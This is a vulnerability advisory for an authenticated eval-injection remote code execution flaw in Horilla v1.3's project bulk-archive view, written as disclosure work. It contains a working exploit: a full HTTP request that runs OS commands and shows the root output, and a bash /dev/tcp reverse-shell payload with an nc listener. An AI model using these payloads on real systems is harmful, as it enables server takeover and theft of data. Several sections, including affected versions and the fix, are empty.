CVE-2025-48868

Authenticated Remote Code Execution

Eval Injection in project_bulk_archive in Horilla v1.3

Overview

An authenticated Remote Code Execution (RCE) vulnerability exists in Horilla v1.3 due to the unsafe use of Python's eval() function on a user-controlled query parameter in the project_bulk_archive view. This allows privileged users (e.g., administrators) to execute arbitrary system commands on the server.

While having Django's DEBUG=True makes exploitation visibly easier by returning command output in the HTTP response, this is not required. The vulnerability can still be exploited in DEBUG=False mode by using blind payloads such as a reverse shell, leading to full remote code execution.

Affected Versions

Patched Versions

Technical Details

In projects/views.py, the project_bulk_archive function performs bulk archiving of Project instances. The vulnerable code is:

is_active = eval(request.GET.get("is_active"))

This line evaluates the is_active parameter directly using eval() without any validation or sanitization, making it vulnerable to code injection. When DEBUG=True, Django returns detailed error messages, including the output of any expression evaluated by eval().

To successfully exploit this, the attacker must first create a project and then trigger the bulk archive operation with a malicious payload in the is_active parameter.

Required Conditions:

PoC – Debug Mode ON

Steps to reproduce:

1. Create a project via the application's project creation interface.
2. Trigger the bulk archive operation using the following crafted HTTP request.

Malicious Request:

POST /project/project-bulk-archive?is_active=__import__('os').popen('id').read() HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8000/project/project-view/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: http://localhost:8000
DNT: 1
Connection: keep-alive
Cookie: sessionid=n3hsxa0ot6pgmvjcmxxcfu4fmrwmd0uo; csrftoken=NMO61HgtbDLLylhvodv6fI1dSrAOj0r9
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

csrfmiddlewaretoken=NMO61HgtbDLLylhvodv6fI1dSrAOj0r9&ids=%5B%225%22%5D

Response (if DEBUG=True):

ValidationError at /project/project-bulk-archive
["uid=0(root) gid=0(root) groups=0(root)\n value must be either True or False."]

This error message confirms that the payload __import__('os').popen('id').read() was executed by eval(), and its result was returned in the error stack trace.

Video PoC: View PoC (Debug ON) - https://drive.google.com/file/d/1XQAJilt77QxkjGEa94CsZRqZIZXa3ET9/view?usp=sharing

PoC – Debug Mode OFF

You lose visibility into return values or errors — so popen('id').read() doesn't help you anymore. However, if you use a "blind" payload (i.e., it performs an action instead of returning output), like a reverse shell, you still get full RCE.

Steps to reproduce:

1. Create a project via the application's project creation interface.
2. Trigger the bulk archive operation with payload:
   __import__('os').system('bash+-c+"bash+-i+>%26+/dev/tcp/IP/PORT+0>%261"')
3. On attacker machine run: nc -lnvp PORT

Video PoC: View PoC (Reverse Shell) - https://drive.google.com/file/d/1hnI9AK3fnpVrTlTRF7aRJsKhZCDIm2Ve/view?usp=sharing

Impact

Solution

Timeline

References